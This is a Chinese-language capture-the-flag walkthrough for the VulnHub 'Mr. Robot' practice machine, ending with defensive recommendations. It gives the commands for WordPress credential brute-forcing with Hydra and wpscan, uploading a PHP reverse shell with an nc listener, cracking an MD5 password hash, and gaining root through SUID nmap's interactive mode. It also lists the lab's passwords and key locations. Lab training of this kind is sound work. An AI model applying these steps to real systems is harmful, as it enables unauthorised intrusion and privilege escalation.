VulnHub-Mr-mrRobot: 1-靶机渗透学习
字数 1409 2025-08-15 21:33:16
Mr. Robot 靶机渗透教学文档
靶机概述
- 名称: Mr. Robot (1)
- 难度: 中级(CTF)
- 发布日期: 2016年6月28日
- 目标: 获取root权限并找到三个隐藏的key
- 特点: 基于《机器人先生》剧集,三个key难度递增,无需高级开发或逆向工程
环境准备
- 靶机下载地址: https://www.vulnhub.com/entry/mr-robot-1,151/
- 攻击机: Kali Linux
渗透步骤详解
1. 信息收集
扫描靶机IP:
nmap -sn 192.168.16.0/24
扫描开放端口:
nmap -sV -p- <靶机IP>
发现:
- 22/SSH: 关闭
- 80/HTTP: 开放
- 443/HTTPS: 开放
2. Web目录扫描
使用dirb扫描web目录:
dirb http://<靶机IP>
发现重要文件:
/robots.txt
3. 获取第一个key
访问/robots.txt发现两个文件:
key-1-of-3.txt- 直接访问获取第一个keyfsocity.dic- 一个大型字典文件
4. WordPress登录爆破
发现WordPress登录页面:
/wp-login.php
使用hydra爆破用户名:
hydra -L fsocity.dic -p test <靶机IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"
找到有效用户名: elliot
使用wpscan爆破密码:
wpscan --url http://<靶机IP>/wp-login.php -U elliot -P fsocity.txt --api-token '你的API令牌'
获得密码: ER28-0652
5. 获取Web Shell
- 登录WordPress后台
- 在媒体模块上传PHP反向shell
- 使用Kali自带的shell:
/usr/share/webshells/php/php-reverse-shell.php
- 使用Kali自带的shell:
- 设置监听器:
nc -lvnp 4444 - 访问上传的shell文件触发连接
6. 提权到robot用户
查找敏感文件:
cd /home/robot
ls -la
发现:
password.raw-md5文件
破解MD5密码:
cat password.raw-md5
得到hash: robot:c3fcd3d76192e4007dfb496cca67e13b
使用在线工具或John破解得到密码: abcdefghijklmnopqrstuvwxyz
切换用户:
su robot
输入密码后获得robot用户权限
获取第二个key:
在robot用户目录下找到key-2-of-3.txt
7. 提权到root
查找SUID程序:
find / -perm -4000 2>/dev/null
发现nmap具有SUID权限
检查nmap版本:
nmap --version
确认版本在2.02至5.21之间(支持交互模式)
利用nmap提权:
nmap --interactive
!sh
获得root shell
获取第三个key:
在/root目录下找到key-3-of-3.txt
总结与关键点
-
信息收集是关键:
- 全面扫描端口和服务
- 检查robots.txt等常见敏感文件
-
凭证爆破技巧:
- 利用错误信息判断有效用户名
- 使用专用工具(wpscan)爆破WordPress
-
Web Shell上传:
- 利用媒体上传功能绕过限制
- 使用标准反向shell确保连接稳定
-
横向移动:
- 查找用户目录中的敏感文件
- 破解弱哈希(MD5)
-
特权提升:
- 系统检查SUID程序
- 利用旧版nmap的交互模式特性
-
三个key位置:
- key1: /robots.txt
- key2: /home/robot/key-2-of-3.txt
- key3: /root/key-3-of-3.txt
防御建议
- 禁用或限制robots.txt中的敏感信息
- 使用强密码策略和账户锁定机制
- 及时更新Web应用和系统组件
- 限制SUID程序数量并保持更新
- 监控文件上传功能,限制可执行文件上传